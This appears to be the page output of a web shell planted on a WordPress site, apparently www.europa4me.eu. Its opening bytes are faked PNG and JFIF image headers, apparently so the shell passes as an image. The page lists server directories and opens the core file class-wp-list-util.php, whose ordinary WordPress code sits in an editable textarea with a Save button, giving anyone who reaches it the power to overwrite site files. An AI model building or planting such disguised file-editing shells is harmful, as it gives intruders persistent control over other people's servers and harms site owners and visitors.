�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2F'>www.europa4me.eu</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/</p><hr><h3>✏️ Editing: class-wp-list-util.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * WordPress List utility class
 *
 * @package WordPress
 * @since 4.7.0
 */

/**
 * List utility.
 *
 * Utility class to handle operations on an array of objects or arrays.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
class WP_List_Util {
	/**
	 * The input array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $input = array();

	/**
	 * The output array.
	 *
	 * @since 4.7.0
	 * @var array
	 */
	private $output = array();

	/**
	 * Temporary arguments for sorting.
	 *
	 * @since 4.7.0
	 * @var string[]
	 */
	private $orderby = array();

	/**
	 * Constructor.
	 *
	 * Sets the input array.
	 *
	 * @since 4.7.0
	 *
	 * @param array $input Array to perform operations on.
	 */
	public function __construct( $input ) {
		$this-&gt;output = $input;
		$this-&gt;input  = $input;
	}

	/**
	 * Returns the original input array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The input array.
	 */
	public function get_input() {
		return $this-&gt;input;
	}

	/**
	 * Returns the output array.
	 *
	 * @since 4.7.0
	 *
	 * @return array The output array.
	 */
	public function get_output() {
		return $this-&gt;output;
	}

	/**
	 * Filters the list, based on a set of key =&gt; value arguments.
	 *
	 * Retrieves the objects from the list that match the given arguments.
	 * Key represents property name, and value represents property value.
	 *
	 * If an object has more properties than those specified in arguments,
	 * that will not disqualify it. When using the &#039;AND&#039; operator,
	 * any missing properties will disqualify it.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $args     Optional. An array of key =&gt; value arguments to match
	 *                         against each object. Default empty array.
	 * @param string $operator Optional. The logical operation to perform. &#039;AND&#039; means
	 *                         all elements from the array must match. &#039;OR&#039; means only
	 *                         one element needs to match. &#039;NOT&#039; means no elements may
	 *                         match. Default &#039;AND&#039;.
	 * @return array Array of found values.
	 */
	public function filter( $args = array(), $operator = &#039;AND&#039; ) {
		if ( empty( $args ) ) {
			return $this-&gt;output;
		}

		$operator = strtoupper( $operator );

		if ( ! in_array( $operator, array( &#039;AND&#039;, &#039;OR&#039;, &#039;NOT&#039; ), true ) ) {
			$this-&gt;output = array();
			return $this-&gt;output;
		}

		$count    = count( $args );
		$filtered = array();

		foreach ( $this-&gt;output as $key =&gt; $obj ) {
			$matched = 0;

			foreach ( $args as $m_key =&gt; $m_value ) {
				if ( is_array( $obj ) ) {
					// Treat object as an array.
					if ( array_key_exists( $m_key, $obj ) &amp;&amp; ( $m_value == $obj[ $m_key ] ) ) {
						++$matched;
					}
				} elseif ( is_object( $obj ) ) {
					// Treat object as an object.
					if ( isset( $obj-&gt;{$m_key} ) &amp;&amp; ( $m_value == $obj-&gt;{$m_key} ) ) {
						++$matched;
					}
				}
			}

			if ( ( &#039;AND&#039; === $operator &amp;&amp; $matched === $count )
				|| ( &#039;OR&#039; === $operator &amp;&amp; $matched &gt; 0 )
				|| ( &#039;NOT&#039; === $operator &amp;&amp; 0 === $matched )
			) {
				$filtered[ $key ] = $obj;
			}
		}

		$this-&gt;output = $filtered;

		return $this-&gt;output;
	}

	/**
	 * Plucks a certain field out of each element in the input array.
	 *
	 * This has the same functionality and prototype of
	 * array_column() (PHP 5.5) but also supports objects.
	 *
	 * @since 4.7.0
	 *
	 * @param int|string $field     Field to fetch from the object or array.
	 * @param int|string $index_key Optional. Field from the element to use as keys for the new array.
	 *                              Default null.
	 * @return array Array of found values. If `$index_key` is set, an array of found values with keys
	 *               corresponding to `$index_key`. If `$index_key` is null, array keys from the original
	 *               `$list` will be preserved in the results.
	 */
	public function pluck( $field, $index_key = null ) {
		$newlist = array();

		if ( ! $index_key ) {
			/*
			 * This is simple. Could at some point wrap array_column()
			 * if we knew we had an array of arrays.
			 */
			foreach ( $this-&gt;output as $key =&gt; $value ) {
				if ( is_object( $value ) ) {
					$newlist[ $key ] = $value-&gt;$field;
				} elseif ( is_array( $value ) ) {
					$newlist[ $key ] = $value[ $field ];
				} else {
					_doing_it_wrong(
						__METHOD__,
						__( &#039;Values for the input array must be either objects or arrays.&#039; ),
						&#039;6.2.0&#039;
					);
				}
			}

			$this-&gt;output = $newlist;

			return $this-&gt;output;
		}

		/*
		 * When index_key is not set for a particular item, push the value
		 * to the end of the stack. This is how array_column() behaves.
		 */
		foreach ( $this-&gt;output as $value ) {
			if ( is_object( $value ) ) {
				if ( isset( $value-&gt;$index_key ) ) {
					$newlist[ $value-&gt;$index_key ] = $value-&gt;$field;
				} else {
					$newlist[] = $value-&gt;$field;
				}
			} elseif ( is_array( $value ) ) {
				if ( isset( $value[ $index_key ] ) ) {
					$newlist[ $value[ $index_key ] ] = $value[ $field ];
				} else {
					$newlist[] = $value[ $field ];
				}
			} else {
				_doing_it_wrong(
					__METHOD__,
					__( &#039;Values for the input array must be either objects or arrays.&#039; ),
					&#039;6.2.0&#039;
				);
			}
		}

		$this-&gt;output = $newlist;

		return $this-&gt;output;
	}

	/**
	 * Sorts the input array based on one or more orderby arguments.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array $orderby       Optional. Either the field name to order by or an array
	 *                                    of multiple orderby fields as `$orderby =&gt; $order`.
	 *                                    Default empty array.
	 * @param string       $order         Optional. Either &#039;ASC&#039; or &#039;DESC&#039;. Only used if `$orderby`
	 *                                    is a string. Default &#039;ASC&#039;.
	 * @param bool         $preserve_keys Optional. Whether to preserve keys. Default false.
	 * @return array The sorted array.
	 */
	public function sort( $orderby = array(), $order = &#039;ASC&#039;, $preserve_keys = false ) {
		if ( empty( $orderby ) ) {
			return $this-&gt;output;
		}

		if ( is_string( $orderby ) ) {
			$orderby = array( $orderby =&gt; $order );
		}

		foreach ( $orderby as $field =&gt; $direction ) {
			$orderby[ $field ] = &#039;DESC&#039; === strtoupper( $direction ) ? &#039;DESC&#039; : &#039;ASC&#039;;
		}

		$this-&gt;orderby = $orderby;

		if ( $preserve_keys ) {
			uasort( $this-&gt;output, array( $this, &#039;sort_callback&#039; ) );
		} else {
			usort( $this-&gt;output, array( $this, &#039;sort_callback&#039; ) );
		}

		$this-&gt;orderby = array();

		return $this-&gt;output;
	}

	/**
	 * Callback to sort an array by specific fields.
	 *
	 * @since 4.7.0
	 *
	 * @see WP_List_Util::sort()
	 *
	 * @param object|array $a One object to compare.
	 * @param object|array $b The other object to compare.
	 * @return int 0 if both objects equal. -1 if second object should come first, 1 otherwise.
	 */
	private function sort_callback( $a, $b ) {
		if ( empty( $this-&gt;orderby ) ) {
			return 0;
		}

		$a = (array) $a;
		$b = (array) $b;

		foreach ( $this-&gt;orderby as $field =&gt; $direction ) {
			if ( ! isset( $a[ $field ] ) || ! isset( $b[ $field ] ) ) {
				continue;
			}

			if ( $a[ $field ] == $b[ $field ] ) {
				continue;
			}

			$results = &#039;DESC&#039; === $direction ? array( 1, -1 ) : array( -1, 1 );

			if ( is_numeric( $a[ $field ] ) &amp;&amp; is_numeric( $b[ $field ] ) ) {
				return ( $a[ $field ] &lt; $b[ $field ] ) ? $results[0] : $results[1];
			}

			return 0 &gt; strcmp( $a[ $field ], $b[ $field ] ) ? $results[0] : $results[1];
		}

		return 0;
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes'>🔙 Back</a></p>